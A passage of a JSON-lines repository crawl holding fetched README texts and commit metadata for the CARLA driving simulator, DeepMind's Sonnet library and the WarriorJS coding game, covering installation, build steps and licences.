Alexey Dosovitskiy, German Ros,\nFelipe Codevilla, Antonio Lopez, Vladlen Koltun; PMLR 78:1-16\n[[PDF](http://proceedings.mlr.press/v78/dosovitskiy17a/dosovitskiy17a.pdf)]\n\n\n```\n@inproceedings{Dosovitskiy17,\n title = {{CARLA}: {An} Open Urban Driving Simulator},\n author = {Alexey Dosovitskiy and German Ros and Felipe Codevilla and Antonio Lopez and Vladlen Koltun},\n booktitle = {Proceedings of the 1st Annual Conference on Robot Learning},\n pages = {1--16},\n year = {2017}\n}\n```\n\nBuilding CARLA\n--------------\n\nUse `git clone` or download the project from this page. Note that the master\nbranch contains the latest fixes and features, for the latest stable code may be\nbest to switch to the latest release tag.\n\nThen follow the instruction at [How to build on Linux][buildlink].\n\nUnfortunately we don't have yet official instructions to build on other\nplatforms, please check the progress for [Windows][issue21] and [Mac][issue150].\n\n[buildlink]: http://carla.readthedocs.io/en/latest/how_to_build_on_linux\n[issue21]: https://github.com/carla-simulator/carla/issues/21\n[issue150]: https://github.com/carla-simulator/carla/issues/150\n\nContributing\n------------\n\nPlease take a look at our [Contribution guidelines][contriblink].\n\n[contriblink]: http://carla.readthedocs.io/en/latest/CONTRIBUTING\n\nF.A.Q.\n------\n\nIf you run into problems, check our\n[FAQ](http://carla.readthedocs.io/en/latest/faq/).\n\nLicense\n-------\n\nCARLA specific code is distributed under MIT License.\n\nCARLA specific assets are distributed under CC-BY License.\n\nNote that UE4 itself follows its own license terms.\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"957E:09BF:AAD7D:2C621A:6AB92048"},"text_sha256":"faaccd0b8103655f87fafc2f0806f21f9ec5d54e32504d3d4ede75df4b08f941"}],"classification_rule_version":"semantic-conservative-2026-09-c1-c4-r2","classification":{"C1":0,"C2":0,"C3":0,"C4":0,"C5":0,"C6":0,"C7":0,"D1":0,"score":0,"D1_evidence":"","note":"Nenhuma evidência semântica suficiente encontrada nos documentos candidatos.","evidence":[]}},"post":{"until":"2026-06-30T23:59:59Z","commit_request_status":200,"commit_rate":{"github_remaining":"3571","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"08AF:2BC4E5:180062A:1C1DD65:6AB927DC"},"commit":{"sha":"601966371acc2fa163919055479f5ead1ca9a8b1","url":"https://github.com/carla-simulator/carla/commit/601966371acc2fa163919055479f5ead1ca9a8b1","date":"2026-06-29T14:47:59Z","author_date":"2026-06-29T14:47:59Z","committer_date":"2026-06-29T14:47:59Z","tree_sha":"2c7889055de871eb03d90e44bd10009684652a44","message_first_line":"fix(python): expose carla.command namespace on ue5 module layout (#9634 PR #0u) (#9775)"},"tree_request_status":200,"tree_rate":{"github_remaining":"3570","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0906:180242:17D19FB:1BEF24D:6AB927DC"},"tree_truncated":false,"document_candidates":[{"path":"README.md","size":10334,"blob_sha":"7ca0042a4bb4255e3f5defa5f0113472888bd6b2","priority":0}],"documents":[{"path":"README.md","size":10334,"blob_sha":"7ca0042a4bb4255e3f5defa5f0113472888bd6b2","priority":0,"status":200,"text":"CARLA Simulator\n===============\n\n[](https://carla-ue5.readthedocs.io)\n\n[](http://carla.org)\n[](https://github.com/carla-simulator/carla/releases)\n[](https://carla-ue5.readthedocs.io)\n[](https://github.com/carla-simulator/carla/discussions)\n[](https://discord.gg/8kqACuC)\n\nCARLA is an open-source simulator for autonomous driving research. CARLA has been developed from the ground up to support development, training, and\nvalidation of autonomous driving systems. In addition to open-source code and protocols, CARLA provides open digital assets (urban layouts, buildings,\nvehicles) that were created for this purpose and can be used freely. The simulation platform supports flexible specification of sensor suites and\nenvironmental conditions.\n\n[](https://www.youtube.com/watch?v=q4V9GYjA1pE)\n\n>[!NOTE]\n> This is the development branch `ue5-dev` for the **Unreal Engine 5.5 version of CARLA**. This branch exists in parallel with the Unreal Engine 4.26 version of CARLA, in the `ue4-dev` branch. Please be sure that this version of CARLA is suitable for your needs as there are significant differences between the UE 5.5 and UE 4.26 versions of CARLA. \n\n### Recommended system\n\n* Intel i7 gen 9th - 11th / Intel i9 gen 9th - 11th / AMD Ryzen 7 / AMD Ryzen 9\n* +32 Gb RAM memory \n* NVIDIA RTX 3070/3080/3090 / NVIDIA RTX 4090 / NVIDIA RTX 5090 or better\n* 16 Gb or more VRAM\n* Ubuntu 22.04 or 24.04, or Windows 11\n\n >[!NOTE]\n> You must use either Ubuntu 22.04 or 24.04, or Windows 11. The Unreal Engine 5.5 version of CARLA will not work on Ubuntu 20.04 or Windows 10 or lower.\n\n## Documentation\n\nThe [CARLA documentation](https://carla-ue5.readthedocs.io/en/latest/) is hosted on ReadTheDocs. Please see the following key links:\n\n- [Building on Linux](https://carla-ue5.readthedocs.io/en/latest/build_linux_ue5/)\n- [Building on Windows](https://carla-ue5.readthedocs.io/en/latest/build_windows_ue5/)\n- [First steps](https://carla-ue5.readthedocs.io/en/latest/tuto_first_steps/)\n- [CARLA asset catalogue](https://carla-ue5.readthedocs.io/en/latest/catalogue/)\n- [Python API reference](https://carla-ue5.readthedocs.io/en/latest/python_api/)\n- [Blueprint library](https://carla-ue5.readthedocs.io/en/latest/bp_library/)\n\n## CARLA Ecosystem\nRepositories associated with the CARLA simulation platform:\n\n* [**CARLA Autonomous Driving leaderboard**](https://leaderboard.carla.org/): Automatic platform to validate Autonomous Driving stacks\n* [**Scenario_Runner**](https://github.com/carla-simulator/scenario_runner): Engine to execute traffic scenarios in CARLA 0.9.X\n* [**ROS-bridge**](https://github.com/carla-simulator/ros-bridge): Interface to connect CARLA 0.9.X to ROS\n* [**Driving-benchmarks**](https://github.com/carla-simulator/driving-benchmarks): Benchmark tools for Autonomous Driving tasks\n* [**Conditional Imitation-Learning**](https://github.com/felipecode/coiltraine): Training and testing Conditional Imitation Learning models in CARLA\n* [**AutoWare AV stack**](https://github.com/carla-simulator/carla-autoware): Bridge to connect AutoWare AV stack to CARLA\n* [**Reinforcement-Learning**](https://github.com/carla-simulator/reinforcement-learning): Code for running Conditional Reinforcement Learning models in CARLA\n* [**RoadRunner**](https://www.mathworks.com/products/roadrunner.html): MATLAB GUI based application to create road networks in OpenDrive format \n* [**Map Editor**](https://github.com/carla-simulator/carla-map-editor): Standalone GUI application to enhance RoadRunner maps with traffic lights and traffic signs information\n\n\n**Like what you see? Star us on GitHub to support the project!**\n\nPaper\n-----\n\nIf you use CARLA, please cite our CoRL’17 paper.\n\n_CARLA: An Open Urban Driving Simulator_
Alexey Dosovitskiy, German Ros,\nFelipe Codevilla, Antonio Lopez, Vladlen Koltun; PMLR 78:1-16\n[[PDF](http://proceedings.mlr.press/v78/dosovitskiy17a/dosovitskiy17a.pdf)]\n[[talk](https://www.youtube.com/watch?v=xfyK03MEZ9Q&feature=youtu.be&t=2h44m30s)]\n\n\n```\n@inproceedings{Dosovitskiy17,\n title = {{CARLA}: {An} Open Urban Driving Simulator},\n author = {Alexey Dosovitskiy and German Ros and Felipe Codevilla and Antonio Lopez and Vladlen Koltun},\n booktitle = {Proceedings of the 1st Annual Conference on Robot Learning},\n pages = {1--16},\n year = {2017}\n}\n```\n\n## Building CARLA with Unreal Engine 5.5\n--------------\n\nClone this repository locally from GitHub, specifying the *ue5-dev* branch:\n\n```sh\ngit clone -b ue5-dev https://github.com/carla-simulator/carla.git CarlaUE5\n```\n\nIn order to build CARLA, you need access to the CARLA fork of Unreal Engine 5.5. In order to access this repository, you must first link your GitHub account to Epic Games by following [this guide](https://www.unrealengine.com/en-US/ue-on-github). You then also need to use your git credentials to authorise the download of the Unreal Engine 5.5 repository. \n\n__Building in Linux__:\n\nRun the setup script from a terminal open in the CARLA root directory:\n\n```sh\ncd CarlaUE5\n./CarlaSetup.sh --interactive\n```\n\nThe setup script will prompt you for your sudo password, in order to install the prerequisites. It will then prompt you for your GitHub credentials in order to authorise the download of the Unreal Engine repository. \n\nThe setup script will install by default Python 3 using apt. If you want to target an existing Python installation, you should use the `--python-root=PATH_TO_PYTHON` argument with the relevant Python installation path. You can use whereis python3 in your chosen environment and strip the `/python3` suffix from the path.\n\n__Building in Linux unattended__:\n\nIf you want to run the setup script unattended, your git credentials need to be stored in an environment variable. Add your github credentials to your `.bashrc` file:\n\n```sh\nexport GIT_LOCAL_CREDENTIALS=username@github_token\n```\n\nThen run the setup script using the following command:\n\n```sh\ncd CarlaUE5\nsudo -E ./CarlaSetup.sh\n```\n\nThis will download and install Unreal Engine 5.5, install the prerequisites and build CARLA. It may take some time to complete and use a significant amount of disk space.\n\nIf you prefer to add the git credentials in the terminal, use the following command:\n\n```sh\ncd CarlaUE5\nsudo -E env GIT_LOCAL_CREDENTIALS=github_username@github_token ./CarlaSetup.sh \n```\n\n__Building in Windows__:\n\nTo build in Windows, run the batch script:\n\n```sh\ncd CarlaUE5\nCarlaSetup.bat\n```\n\nUnattended mode is currently unavailable in Windows, you will need to enter GitHub credentials or administrator privileges when prompted.\n\n## Rebuilding CARLA\n\nOnce the setup is complete, you can execute subsequent builds with the following commands in a terminal open in the CARLA root directory. In Linux, run these commands in a standard terminal. In Windows, open the x64 Native Tools Command Prompt for Visual Studio 2022.\n\n__Configure__:\n\nLinux:\n\n```sh\ncmake -G Ninja -S . -B Build --toolchain=$PWD/CMake/Toolchain.cmake -DCMAKE_BUILD_TYPE=Release -DENABLE_ROS2=ON\n```\n\nWindows:\n\n```sh\ncmake -G Ninja -S . -B Build --toolchain=$PWD/CMake/Toolchain.cmake -DCMAKE_BUILD_TYPE=Release\n```\n\n>[!NOTE]\n> If you intend to target a specific Python installation, you should add both these arguments to the above cmake command: `-DPython_ROOT_DIR=PATH` and `-DPython3_ROOT_DIR=PATH`.\n\n__Build__:\n\nLinux and Windows:\n\n```sh\ncmake --build Build\n```\n\n__Build and install the Python API__:\n\n\nLinux and Windows:\n\n```sh\ncmake --build Build --target carla-python-api-install\n```\n\n__Launch the editor__:\n\n```sh\ncmake --build Build --target launch\n```\n\nFor more instructions on building CARLA UE5, please consult the build documentation for [Linux](https://carla-ue5.readthedocs.io/en/latest/build_linux_ue5/) or [Windows](https://carla-ue5.readthedocs.io/en/latest/build_windows_ue5/).\n\nContributing\n------------\n\nPlease take a look at our [Contribution guidelines][contriblink].\n\n[contriblink]: https://carla-ue5.readthedocs.io/en/latest/cont_contribution_guidelines/\n\nLicenses\n-------\n\n## CARLA licenses\n\nCARLA specific code is distributed under the MIT License.\n\nCARLA specific assets are distributed under the CC-BY License.\n\n## CARLA Dependency and Integration licenses\n\nUnreal Engine 5 follows its [own license terms](https://www.unrealengine.com/en-US/faq).\n\nCARLA uses some dependencies related to 3rd party integrations:\n- [PROJ](https://proj.org/), a generic coordinate transformation software which uses the [X/MIT open source license](https://proj.org/about.html#license).\n- [SQLite](https://www.sqlite.org), part of the PROJ dependencies, which is [in the public domain](https://www.sqlite.org/purchase/license).\n- [Xerces-C](https://xerces.apache.org/xerces-c/), a validating XML parser, which is made available under the [Apache Software License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0.html).\n- [Eigen](https://eigen.tuxfamily.org/index.php?title=Main_Page), a C++ template library for linear algebra which uses the [MPL2 license](https://www.mozilla.org/en-US/MPL/2.0/).\n\nCARLA uses the Autodesk FBX SDK for converting FBX to OBJ in the import process of maps. This step is optional, and the SDK is located [here](https://www.autodesk.com/developer-network/platform-technologies/fbx-sdk-2020-0)\n\nThis software contains Autodesk® FBX® code developed by Autodesk, Inc. Copyright 2020 Autodesk, Inc. All rights, reserved. Such code is provided \"as is\" and Autodesk, Inc. disclaims any and all warranties, whether express or implied, including without limitation the implied warranties of merchantability, fitness for a particular purpose or non-infringement of third party rights. In no event shall Autodesk, Inc. be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of such code.\"\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"2F0E:2B291E:17CBAE:5CDD25:6AB9204A"},"text_sha256":"5ef2343f8c83a4089be60064a2a5abb2e8b292f9852dd66b6971a2b9dd1212c7"}],"classification_rule_version":"semantic-conservative-2026-09-c1-c4-r2","classification":{"C1":0,"C2":0,"C3":0,"C4":0,"C5":0,"C6":0,"C7":0,"D1":0,"score":0,"D1_evidence":"","note":"Nenhuma evidência semântica suficiente encontrada nos documentos candidatos.","evidence":[]}}}
{"repository":"google-deepmind/sonnet","input_row":{"repository":"google-deepmind/sonnet","url":"https://github.com/google-deepmind/sonnet","name":"sonnet","owner":"google-deepmind","description":"TensorFlow-based neural network library","language":"Python","license_spdx_id":"Apache-2.0","license_name":"Apache License 2.0","license_osi_approved":"true","stars":9970,"issues":193,"created_at":"2017-04-03T11:34:35Z","updated_at":"2026-09-25T11:22:46Z","first_commit_at":"2017-04-06T17:10:11Z","last_commit_at":"2026-07-07T22:31:37Z","activity_months":111.01000000000001,"ai_ml_match_topics":"artificial-intelligence; deep-learning; machine-learning","has_pre_gdpr_activity":"true","has_post_gdpr_activity":"true"},"source_sha256":"30540b1c1bcd94f5b9afc0a77f92a103e83c7388aa09907a99e786e7ffc32a11","collector_protocol_version":"open-source-no-size-limit-expanded-topics-2026-09","observed_at":"2026-09-27T14:27:41.806Z","accessibility":{"http_status":200,"accessible":true,"metadata":{"full_name":"google-deepmind/sonnet","visibility":"public","created_at":"2017-04-03T11:34:35Z","updated_at":"2026-09-25T11:22:46Z","private":false,"fork":false,"archived":false,"stargazers_count":9970,"open_issues_count":44,"license_spdx_id":"Apache-2.0","license_name":"Apache License 2.0"},"error":"","rate":{"github_remaining":"3569","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0872:DC698:17D5CBC:1BF2E84:6AB927DD"}},"pre":{"until":"2018-05-24T23:59:59Z","commit_request_status":200,"commit_rate":{"github_remaining":"3568","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0858:380E1C:17AFB2F:1BCC715:6AB927DE"},"commit":{"sha":"f34755ccba97389585f9dd6c18e2e4ffe25ddb38","url":"https://github.com/google-deepmind/sonnet/commit/f34755ccba97389585f9dd6c18e2e4ffe25ddb38","date":"2018-05-08T15:49:30Z","author_date":"2018-04-30T13:54:41Z","committer_date":"2018-05-08T15:49:30Z","tree_sha":"bac214f69983fa246825f58667507751346bbec2","message_first_line":"Add snt.summarize_variables to Sonnet."},"tree_request_status":200,"tree_rate":{"github_remaining":"3567","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0874:77994:17C8A04:1BE63C0:6AB927DE"},"tree_truncated":false,"document_candidates":[{"path":"README.md","size":1640,"blob_sha":"3541eb7a0ac9661ff27a2c68cfd45646e6be5bf6","priority":0}],"documents":[{"path":"README.md","size":1640,"blob_sha":"3541eb7a0ac9661ff27a2c68cfd45646e6be5bf6","priority":0,"status":200,"text":"# \n\nSonnet is a library built on top of TensorFlow for building complex neural\nnetworks.\n\n\n## Installation\n\nSonnet can be installed from pip, with or without GPU support.\n\nThis installation is compatible with Linux/Mac OS X and Python 2.7 and\n3.{4,5,6}. The version of TensorFlow installed must be >= 1.5. Installing\nSonnet supports the [virtualenv installation mode](https://www.tensorflow.org/install/install_linux#installing_with_virtualenv)\nof TensorFlow, as well as the [native pip install](https://www.tensorflow.org/install/install_linux#installing_with_native_pip).\n\nTo install sonnet, run:\n\n```shell\n$ pip install dm-sonnet\n```\n\nSonnet will work with both the CPU and GPU version of tensorflow, but to allow\nfor that it does not list Tensorflow as a requirement, so you need to install\nTensorflow separately if you haven't already done so.\n\n## Usage Example\n\nThe following code constructs a Linear module and connects it to multiple\ninputs. The variables (i.e., the weights and biases of the linear\ntransformation) are automatically shared.\n\n```python\nimport sonnet as snt\n\n# Provide your own functions to generate data Tensors.\ntrain_data = get_training_data()\ntest_data = get_test_data()\n\n# Construct the module, providing any configuration necessary.\nlinear_regression_module = snt.Linear(output_size=FLAGS.output_size)\n\n# Connect the module to some inputs, any number of times.\ntrain_predictions = linear_regression_module(train_data)\ntest_predictions = linear_regression_module(test_data)\n```\n\n# Documentation\n\nCheck out the full documentation page\n[here](https://deepmind.github.io/sonnet/).\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"5584:3C4A0:174E8B:5C5FCA:6AB9204C"},"text_sha256":"6d46fbcca4c39b33d86c5471d6c4a8277ec5ca6817d7d8cbd381d326f18832c5"}],"classification_rule_version":"semantic-conservative-2026-09-c1-c4-r2","classification":{"C1":0,"C2":0,"C3":0,"C4":0,"C5":0,"C6":0,"C7":0,"D1":0,"score":0,"D1_evidence":"","note":"Nenhuma evidência semântica suficiente encontrada nos documentos candidatos.","evidence":[]}},"post":{"until":"2026-06-30T23:59:59Z","commit_request_status":200,"commit_rate":{"github_remaining":"3566","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0927:724D2:17ACFDA:1BCAA6A:6AB927DF"},"commit":{"sha":"a3052a27a5b99b56a21e666bd0614e95e5c92df5","url":"https://github.com/google-deepmind/sonnet/commit/a3052a27a5b99b56a21e666bd0614e95e5c92df5","date":"2026-05-06T20:18:25Z","author_date":"2026-05-06T20:18:07Z","committer_date":"2026-05-06T20:18:25Z","tree_sha":"fdd23aa367fe68dfbf1ad78f1c55933e9c676d6e","message_first_line":"Internal Change"},"tree_request_status":200,"tree_rate":{"github_remaining":"3565","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0793:278AC2:18403A3:1C5E0EF:6AB927DF"},"tree_truncated":false,"document_candidates":[{"path":"README.md","size":11648,"blob_sha":"ebd3247efdf099159d88d5928962a853d15d65aa","priority":0}],"documents":[{"path":"README.md","size":11648,"blob_sha":"ebd3247efdf099159d88d5928962a853d15d65aa","priority":0,"status":200,"text":"\n\n# Sonnet\n\n[**Documentation**](https://sonnet.readthedocs.io/) | [**Examples**](#examples)\n\nSonnet is a library built on top of [TensorFlow 2](https://www.tensorflow.org/)\ndesigned to provide simple, composable abstractions for machine learning\nresearch.\n\n# Introduction\n\nSonnet has been designed and built by researchers at DeepMind. It can be used to\nconstruct neural networks for many different purposes (un/supervised learning,\nreinforcement learning, ...). We find it is a successful abstraction for our\norganization, you might too!\n\nMore specifically, Sonnet provides a simple but powerful programming model\ncentered around a single concept: `snt.Module`. Modules can hold references to\nparameters, other modules and methods that apply some function on the user\ninput. Sonnet ships with many predefined modules (e.g. `snt.Linear`,\n`snt.Conv2D`, `snt.BatchNorm`) and some predefined networks of modules (e.g.\n`snt.nets.MLP`) but users are also encouraged to build their own modules.\n\nUnlike many frameworks Sonnet is extremely unopinionated about **how** you will\nuse your modules. Modules are designed to be self contained and entirely\ndecoupled from one another. Sonnet does not ship with a training framework and\nusers are encouraged to build their own or adopt those built by others.\n\nSonnet is also designed to be simple to understand, our code is (hopefully!)\nclear and focussed. Where we have picked defaults (e.g. defaults for initial\nparameter values) we try to point out why.\n\n# Getting Started\n\n## Examples\n\nThe easiest way to try Sonnet is to use Google Colab which offers a free Python\nnotebook attached to a GPU or TPU.\n\n- [Predicting MNIST with an MLP](https://colab.research.google.com/github/deepmind/sonnet/blob/v2/examples/mlp_on_mnist.ipynb)\n- [Training a Little GAN on MNIST](https://colab.research.google.com/github/deepmind/sonnet/blob/v2/examples/little_gan_on_mnist.ipynb)\n- [Distributed training with `snt.distribute`](https://colab.research.google.com/github/deepmind/sonnet/blob/v2/examples/distributed_cifar10.ipynb)\n\n## Installation\n\nTo get started install TensorFlow 2.0 and Sonnet 2:\n\n```shell\n$ pip install tensorflow tensorflow-probability\n$ pip install dm-sonnet\n```\n\nYou can run the following to verify things installed correctly:\n\n```python\nimport tensorflow as tf\nimport sonnet as snt\n\nprint(\"TensorFlow version {}\".format(tf.__version__))\nprint(\"Sonnet version {}\".format(snt.__version__))\n```\n\n### Using existing modules\n\nSonnet ships with a number of built in modules that you can trivially use. For\nexample to define an MLP we can use the `snt.Sequential` module to call a\nsequence of modules, passing the output of a given module as the input for the\nnext module. We can use `snt.Linear` and `tf.nn.relu` to actually define our\ncomputation:\n\n```python\nmlp = snt.Sequential([\n snt.Linear(1024),\n tf.nn.relu,\n snt.Linear(10),\n])\n```\n\nTo use our module we need to \"call\" it. The `Sequential` module (and most\nmodules) define a `__call__` method that means you can call them by name:\n\n```python\nlogits = mlp(tf.random.normal([batch_size, input_size]))\n```\n\nIt is also very common to request all the parameters for your module. Most\nmodules in Sonnet create their parameters the first time they are called with\nsome input (since in most cases the shape of the parameters is a function of\nthe input). Sonnet modules provide two properties for accessing parameters.\n\nThe `variables` property returns **all** `tf.Variable`s that are referenced by\nthe given module:\n\n```python\nall_variables = mlp.variables\n```\n\nIt is worth noting that `tf.Variable`s are not just used for parameters of your\nmodel. For example they are used to hold state in metrics used in\n`snt.BatchNorm`. In most cases users retrieve the module variables to pass them\nto an optimizer to be updated. In this case non-trainable variables should\ntypically not be in that list as they are updated via a different mechanism.\nTensorFlow has a built in mechanism to mark variables as \"trainable\" (parameters\nof your model) vs. non-trainable (other variables). Sonnet provides a mechanism\nto gather all trainable variables from your module which is probably what you\nwant to pass to an optimizer:\n\n```python\nmodel_parameters = mlp.trainable_variables\n```\n\n### Building your own module\n\nSonnet strongly encourages users to subclass `snt.Module` to define their own\nmodules. Let's start by creating a simple `Linear` layer called `MyLinear`:\n\n```python\nclass MyLinear(snt.Module):\n\n def __init__(self, output_size, name=None):\n super(MyLinear, self).__init__(name=name)\n self.output_size = output_size\n\n @snt.once\n def _initialize(self, x):\n initial_w = tf.random.normal([x.shape[1], self.output_size])\n self.w = tf.Variable(initial_w, name=\"w\")\n self.b = tf.Variable(tf.zeros([self.output_size]), name=\"b\")\n\n def __call__(self, x):\n self._initialize(x)\n return tf.matmul(x, self.w) + self.b\n```\n\nUsing this module is trivial:\n\n```python\nmod = MyLinear(32)\nmod(tf.ones([batch_size, input_size]))\n```\n\nBy subclassing `snt.Module` you get many nice properties for free. For example\na default implementation of `__repr__` which shows constructor arguments (very\nuseful for debugging and introspection):\n\n```python\n>>> print(repr(mod))\nMyLinear(output_size=10)\n```\n\nYou also get the `variables` and `trainable_variables` properties:\n\n```python\n>>> mod.variables\n(![\"WarriorJS](\"logo/warriorjs-banner-dark.png?raw=true\" "\\"WarriorJS\\"")
\n <\/a>\n<\/div>\n\n
\n\n
\n\n![\"CircleCI\"](\"https://img.shields.io/circleci/project/github/olistic/warriorjs.svg?style=flat-square\")
\n <\/a>\n \n ![\"Codecov\"](\"https://img.shields.io/codecov/c/github/olistic/warriorjs.svg?style=flat-square\")
\n <\/a>\n \n ![\"Follow+WarriorJS+on+Twitter\"](\"https://img.shields.io/twitter/follow/warrior_js.svg?label=follow+warriorjs&style=flat-square\")
\n <\/a>\n \n ![\"Join+WarriorJS+on+Spectrum\"](\"https://img.shields.io/badge/join_the_community-on_spectrum-7b16ff.svg?style=flat-square\"){kind=icon}
\n <\/a>\n<\/div>\n\n
\n\nIn WarriorJS, you wear the skin of a warrior climbing a tall tower to reach _The\nJavaScript Sword_ at the top level. Legend has it that the sword bearer becomes\nenlightened in the JavaScript language, but be warned: the journey will not be\neasy. On each floor, you need to write JavaScript to instruct the warrior to\nbattle enemies, rescue captives, and reach the stairs alive...\n\n**No matter if you are new to programming or a JavaScript guru, WarriorJS will\nput your skills to the test. Will you dare?**\n\n## Quick Start\n\n1. Install WarriorJS with [npm](https://npmjs.com):\n\n```sh\nnpm install --global @warriorjs/cli\n```\n\n2. Launch the game:\n\n```sh\nwarriorjs\n```\n\n3. Create your warrior.\n\n4. You'll be pointed to a README file with instructions for the first level.\n\nGood luck in your journey, warrior!\n\n## Documentation\n\nLearn how to play WarriorJS on the [official site](https://warrior.js.org)!\n\nJump straight to some of the most-visited pages:\n\n* [**Set Up**](https://warrior.js.org/docs/set-up)\n* [Gameplay](https://warrior.js.org/docs/gameplay)\n* [Player API](https://warrior.js.org/docs/space-api)\n* [CLI Options](https://warrior.js.org/docs/cli-options)\n\n## Preview\n\n\n\n> WarriorJS launched from the\n> [Integrated Terminal](https://code.visualstudio.com/docs/editor/integrated-terminal)\n> in [VS Code](https://code.visualstudio.com). To the left, `Player.js`, and to\n> the right, a\n> [Markdown Preview](https://code.visualstudio.com/docs/languages/markdown#_markdown-preview)\n> of `README.md`.\n\n## Contributing\n\nWe welcome contributions to WarriorJS! These are the many ways you can help:\n\n* Submit patches and features\n* Make [towers](https://warrior.js.org/docs/towers.html) (new levels for the\n game)\n* Improve the [documentation and website](https://warrior.js.org)\n* Report bugs\n* Follow us on [Twitter](https://twitter.com/warrior_js)\n* Participate in the [Spectrum community](https://spectrum.chat/warriorjs)\n* And [donate financially](https://opencollective.com/warriorjs)!\n\nPlease read our [contribution guide](CONTRIBUTING.md) to get started. Also note\nthat this project is released with a\n[Contributor Code of Conduct](CODE_OF_CONDUCT.md), please make sure to review\nand follow it.\n\n## Contributors\n\nThanks goes to each one of our contributors! :pray:\n[Become a contributor](CONTRIBUTING.md).\n\n![](\"https://opencollective.com/warriorjs/contributors.svg?width=890&button=false\")
<\/a>\n\n## Backers\n\nSupport us with a monthly donation and help us continue our activities!\n[Become a backer](https://opencollective.com/warriorjs#backers).\n\n![](\"https://opencollective.com/warriorjs/backers.svg?width=890\")
<\/a>\n\n## Sponsors\n\nBecome a sponsor and get your logo here and on the\n[official site](https://warrior.js.org)!\n[Become a sponsor](https://opencollective.com/warriorjs#sponsors).\n\n![](\"https://opencollective.com/warriorjs/sponsors.svg?width=890\")
<\/a>\n\n## Acknowledgments\n\nThis project was born as a port of\n[ruby-warrior](https://github.com/ryanb/ruby-warrior). Credits for the original\nidea go to [Ryan Bates](https://github.com/ryanb).\n\nSpecial thanks to [Guillermo Cura](https://guillecura.co) for designing a\nwonderful [logo](logo).\n\n## License\n\nWarriorJS is licensed under a [MIT License](LICENSE).\n\n---\n\n(\\*)<\/a>: _The Artificial Intelligence components of\nWarriorJS are pretty basic. If you're looking to learn more advanced AI\nconcepts, this project will not provide you that._\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"4D1C:29FD16:17C622:5CD794:6AB9204E"},"text_sha256":"e07a773df8d563bfc9dfc5284e703e7d96dcddf611291230c4844162cf3c0230"}],"classification_rule_version":"semantic-conservative-2026-09-c1-c4-r2","classification":{"C1":0,"C2":0,"C3":0,"C4":0,"C5":0,"C6":0,"C7":0,"D1":0,"score":0,"D1_evidence":"","note":"Nenhuma evidência semântica suficiente encontrada nos documentos candidatos.","evidence":[]}},"post":{"until":"2026-06-30T23:59:59Z","commit_request_status":200,"commit_rate":{"github_remaining":"3561","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0781:1C46F8:17A29A6:1BBF9A4:6AB927E2"},"commit":{"sha":"bc68e875deb7d5aa9016a799000618b11dc488b7","url":"https://github.com/olistic/warriorjs/commit/bc68e875deb7d5aa9016a799000618b11dc488b7","date":"2026-03-20T23:58:34Z","author_date":"2026-03-20T23:58:34Z","committer_date":"2026-03-20T23:58:34Z","tree_sha":"0925165d2a0fe0a27522caf69b1b4878a8748fac","message_first_line":"style(cli): fix Biome formatting in SelectPrompt"},"tree_request_status":200,"tree_rate":{"github_remaining":"3560","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"07A8:70FF5:17B1A7B:1BCF24B:6AB927E2"},"tree_truncated":false,"document_candidates":[{"path":"README.md","size":2635,"blob_sha":"86b1476d015cabcca406656e2de933345dbe6b0e","priority":0}],"documents":[{"path":"README.md","size":2635,"blob_sha":"86b1476d015cabcca406656e2de933345dbe6b0e","priority":0,"status":200,"text":"\n <\/a>\n<\/div>\n\n
\n\n
\n\n![\"CI\"](\"https://img.shields.io/github/actions/workflow/status/olistic/warriorjs/ci.yml?branch=master&style=flat-square\")
\n <\/a>\n<\/div>\n\n
\n\nIn WarriorJS, you write JavaScript or TypeScript to guide a warrior through\ntowers full of enemies. Each floor is a puzzle: battle sludge, dodge archers,\nrescue captives, and reach the stairs alive. The code you write _is_ the\nstrategy — there's no clicking, no dragging, just logic and sharp thinking.\n\n**Whether you're writing your first `if` statement or refactoring for a perfect\nscore, every floor will test you.**\n\n## Quick Start\n\n1. Install [Node.js](https://nodejs.org) 22 or later.\n\n2. Install the CLI:\n\n```sh\nnpm install --global @warriorjs/cli\n```\n\n3. Launch the game:\n\n```sh\nwarriorjs\n```\n\nThe game walks you through creating a warrior and choosing a tower. Open the\ngenerated `README.md` for your first level's instructions, write your solution\nin `Player.js`, then run `warriorjs` again to see how your warrior fares.\n\nYou can also play from your browser at\n[warriorjs.com](https://warriorjs.com/?ref=gh).\n\n## Documentation\n\nThe [official docs](https://warrior.js.org) cover everything from first steps\nto building your own towers:\n\n- [Gameplay](https://warrior.js.org/docs/player/gameplay)\n- [Towers](https://warrior.js.org/docs/player/towers)\n- [Player API](https://warrior.js.org/docs/player/space-api)\n\n## Contributing\n\nThe best way to contribute is to build a\n[tower](https://warrior.js.org/docs/player/towers) — a set of levels that\nother players can install and play.\n\nYou can also fix bugs, improve the docs, or add new abilities and units.\nSee the [contribution guide](CONTRIBUTING.md) and\n[Code of Conduct](CODE_OF_CONDUCT.md).\n\n## Acknowledgments\n\nThis project was born as a port of\n[ruby-warrior](https://github.com/ryanb/ruby-warrior). Credits for the original\nidea go to [Ryan Bates](https://github.com/ryanb).\n\nSpecial thanks to [Guillermo Cura](https://github.com/guillecura) for designing\na wonderful [logo](logo).\n\n## License\n\nWarriorJS is licensed under a [MIT 